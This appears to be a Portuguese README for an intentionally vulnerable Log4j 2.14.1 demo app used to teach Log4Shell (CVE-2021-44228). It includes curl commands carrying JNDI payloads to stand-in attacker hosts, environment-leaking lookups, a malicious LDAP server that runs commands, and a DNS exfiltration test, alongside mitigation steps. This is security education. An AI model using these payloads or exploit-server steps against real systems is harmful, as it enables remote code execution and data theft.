
Demo of CVE-2021-44228 Log4Shell.
Este é um projeto de demonstração para aprender e pesquisar a vulnerabilidade de execução remota de código do Log4j2 (Log4Shell).
Este projeto é apenas para fins de pesquisa e educação em segurança, não utilize em ambiente de produção!
Este projeto utiliza a versão Log4j 2.14.1, que possui uma grave vulnerabilidade de segurança.
./mvnw clean package
./mvnw spring-boot:run
Ou:
java -jar target/log4j2-bugmaker-0.0.1-SNAPSHOT.jar
Abra o navegador e acesse: http://localhost:8080
curl -H "User-Agent: \${jndi:ldap://attacker.com/a}" http://localhost:8080/api/log
curl "http://localhost:8080/api/search?query=\${jndi:ldap://attacker.com/a}"
curl http://localhost:8080/api/health
Log4Shell (CVE-2021-44228) é uma vulnerabilidade grave no Apache Log4j2. Quando a aplicação registra uma entrada do usuário contendo uma string de formato especial, o Log4j2 analisa expressões de consulta JNDI, permitindo que um atacante execute código remoto usando essa característica.
${jndi:ldap://evil.com/a}
${jndi:rmi://evil.com/a}
${jndi:dns://evil.com/a}
${java:version}
${java:os}
${env:PATH}
Atualize o Log4j2 para a versão 2.17.1 ou superior:
<properties>
<log4j2.version>2.17.1</log4j2.version>
</properties>
-Dlog4j2.formatMsgNoLookups=true
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
# 1. Execute o script automatizado
./setup-exploit-server.sh
# 2. Selecione a ferramenta JNDI-Injection-Exploit
# 3. Digite o comando a ser executado (ex: whoami ou cat /etc/hosts)
# 4. Em outro terminal, envie o payload de ataque
# Inicie um servidor LDAP malicioso
python3 simple-ldap-server.py "whoami"
# Ou execute outros comandos
python3 simple-ldap-server.py "cat /etc/hosts"
# Em outro terminal, envie o payload de ataque
curl -H 'User-Agent: ${jndi:ldap://YOUR_IP:1389/Exploit}' http://localhost:8080/api/log
# Execute o script de teste de exfiltração DNS
./test-dns-exfiltration.sh
# Siga as instruções, acesse dnslog.cn para obter um subdomínio
# Em seguida, verifique se a requisição DNS foi recebida
Este projeto é licenciado sob a licença MIT License.
Declaração Especial: Este projeto é apenas para fins educacionais e de pesquisa em segurança. O usuário assume seus próprios riscos ao utilizá-lo.
Realizar testes de penetração em sistemas de terceiros sem autorização é ilegal! Este projeto destina-se apenas a:
Cumpra as leis e regulamentos locais e use este conhecimento de forma responsável.